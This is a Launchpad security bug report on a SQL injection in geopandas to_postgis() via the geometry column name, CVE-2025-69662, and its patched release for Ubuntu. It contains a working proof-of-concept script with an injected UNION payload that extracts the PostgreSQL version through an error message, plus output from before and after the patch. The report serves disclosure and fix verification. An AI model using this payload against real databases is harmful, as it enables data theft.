CVE-2025-69662: SQL injection in geopandas to_postgis() via geometry column name

Bug #2141884 reported by Titi Wangsa Damhore
254
Affects Status Importance Assigned to Milestone
python-geopandas (Ubuntu)
Fix Released
Undecided
Unassigned
Jammy
Fix Released
Undecided
Unassigned
Noble
Fix Released
Undecided
Unassigned
Questing
Fix Released
Undecided
Unassigned

Bug Description

CVE: https://ubuntu.com/security/CVE-2025-69662
Upstream fix: https://github.com/geopandas/geopandas/pull/3681

The original upstream fix modified 3 files:
- the actual py file, the fix was applied on a version `geopandas/io/sql.py` that had f-string.
- the test, `geopandas/io/tests/test_sql.py` that does not currently exist for `python3-geopandas` version `0.14.3-2`.
- the changelog md file.
- Only `geopandas/io/sql.py` was touched.

Tested with multipass on aarch64 mac

```
multipass launch 24.04 --name test2 --disk 25G
multipass shell test2

sudo apt-get update && sudo apt-get upgrade -y && \
    sudo apt-get install python3-geopandas python3-sqlalchemy postgresql postgresql-client python3-geoalchemy2 postgresql-postgis -y && \
    sudo reboot

multipass shell test2

sudo -u postgres psql -c "CREATE USER ubuntu WITH PASSWORD 'insecure' SUPERUSER;"

sudo -u postgres psql -c "DROP DATABASE IF EXISTS db1;" && \
    sudo -u postgres psql -c "CREATE DATABASE db1 OWNER ubuntu;" && \
    sudo -u postgres psql -d db1 -c "CREATE EXTENSION postgis;"

cat << 'EOF' > ~/script1.py
import geopandas as gpd
from shapely.geometry import Point
from sqlalchemy import create_engine
import re

engine = create_engine("postgresql://ubuntu:insecure@localhost:5432/db1")

# Step 1: Create table with geometry column named 'geom'
gdf_normal = gpd.GeoDataFrame(geometry=[Point(0, 0)], crs='EPSG:4326')
gdf_normal = gdf_normal.rename_geometry('geom')
gdf_normal.to_postgis(name="test_table", con=engine, if_exists="replace")
print("✅ Table created with 'geom' column")

# Step 2: Exploit - Find_SRID('public','test_table','geom') now succeeds, then UNION runs
gdf_exploit = gpd.GeoDataFrame(geometry=[Point(1, 1)], crs='EPSG:4326')
gdf_exploit = gdf_exploit.rename_geometry("geom') UNION SELECT CAST(version() AS int); --")

try:
    gdf_exploit.to_postgis(name="test_table", con=engine, if_exists="append")
except Exception as e:
    match = re.search(r'invalid input syntax for (?:type )?integer: "([^"]+)"', str(e))
    if match:
        print(f"✅ EXTRACTED PostgreSQL version: {match.group(1)}")
    else:
        print(f"Raw error: {e}")
EOF
```

Before patched
```
ubuntu@test2:~$ python3 script1.py
✅ Table created with 'geom' column
✅ EXTRACTED PostgreSQL version: PostgreSQL 16.11 (Ubuntu 16.11-0ubuntu0.24.04.1) on aarch64-unknown-linux-gnu, compiled by gcc (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, 64-bit
ubuntu@test2:~$
```

After patched:
```
ubuntu@cve:~$ python3 script1.py
✅ Table created with 'geom' column
Raw error: (psycopg2.errors.RaiseException) find_srid() - could not find the corresponding SRID - is the geometry registered in the GEOMETRY_COLUMNS table? Is there an uppercase/lowercase mismatch?
CONTEXT: PL/pgSQL function find_srid(character varying,character varying,character varying) line 17 at RAISE

[SQL: SELECT Find_SRID(%(schema_name)s, %(name)s, %(geom_name)s);]
[parameters: {'schema_name': 'public', 'name': 'test_table', 'geom_name': "geom') UNION SELECT CAST(version() AS int); --"}]
(Background on this error at: https://sqlalche.me/e/14/2j85)
ubuntu@cve:~$

```

CVE References

Revision history for this message
Titi Wangsa Damhore (twd425) wrote :
information type: Private Security → Public Security
description: updated
Changed in python-geopandas (Ubuntu):
assignee: nobody → Eduardo Barretto (ebarretto)
status: New → In Progress
Revision history for this message
Eduardo Barretto (ebarretto) wrote :

Thanks Titi and sorry for the delay to get to it.

I've had to do some small adjustments to your debdiff, but nevertheless it was good and we thank you for your help!

I've just uploaded it to our security-proposed ppa, if you could run some test and check it is all good, we would appreciate!
https://launchpad.net/~ubuntu-security-proposed/+archive/ubuntu/ppa/+packages?field.name_filter=python-geopandas&field.status_filter=published&field.series_filter=

Changed in python-geopandas (Ubuntu Noble):
assignee: nobody → Eduardo Barretto (ebarretto)
Changed in python-geopandas (Ubuntu Questing):
assignee: nobody → Eduardo Barretto (ebarretto)
Changed in python-geopandas (Ubuntu Jammy):
assignee: nobody → Eduardo Barretto (ebarretto)
Changed in python-geopandas (Ubuntu):
assignee: Eduardo Barretto (ebarretto) → nobody
status: In Progress → Invalid
Changed in python-geopandas (Ubuntu Jammy):
status: New → Fix Committed
Changed in python-geopandas (Ubuntu Noble):
status: New → Fix Committed
Changed in python-geopandas (Ubuntu Questing):
status: New → Fix Committed
Changed in python-geopandas (Ubuntu):
status: Invalid → Fix Released
Revision history for this message
Titi Wangsa Damhore (twd425) wrote :

Thanks Eduardo

Tested on multipass x64 noble.
It works!!

Revision history for this message
Eduardo Barretto (ebarretto) wrote :

This is now published, thanks again for your contribution!
https://ubuntu.com/security/notices/USN-8083-1

Changed in python-geopandas (Ubuntu Jammy):
status: Fix Committed → Fix Released
Changed in python-geopandas (Ubuntu Questing):
status: Fix Committed → Fix Released
Changed in python-geopandas (Ubuntu Jammy):
assignee: Eduardo Barretto (ebarretto) → nobody
Changed in python-geopandas (Ubuntu Noble):
assignee: Eduardo Barretto (ebarretto) → nobody
Changed in python-geopandas (Ubuntu Questing):
assignee: Eduardo Barretto (ebarretto) → nobody
Changed in python-geopandas (Ubuntu Noble):
status: Fix Committed → Fix Released
To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.